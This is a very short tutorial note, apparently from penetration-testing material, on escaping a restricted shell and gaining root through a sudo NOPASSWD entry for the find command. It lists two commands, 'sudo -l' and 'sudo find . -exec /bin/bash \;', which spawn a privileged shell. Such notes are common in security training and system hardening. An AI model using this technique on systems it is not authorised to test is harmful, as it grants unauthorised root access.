find Linux command can help us escape from a restricted shell, if you get to run the program with higher privileges, like NOPASWD entry in /etc/sudoers.

How to

1. sudo -l

2. sudo find . -exec /bin/bash \;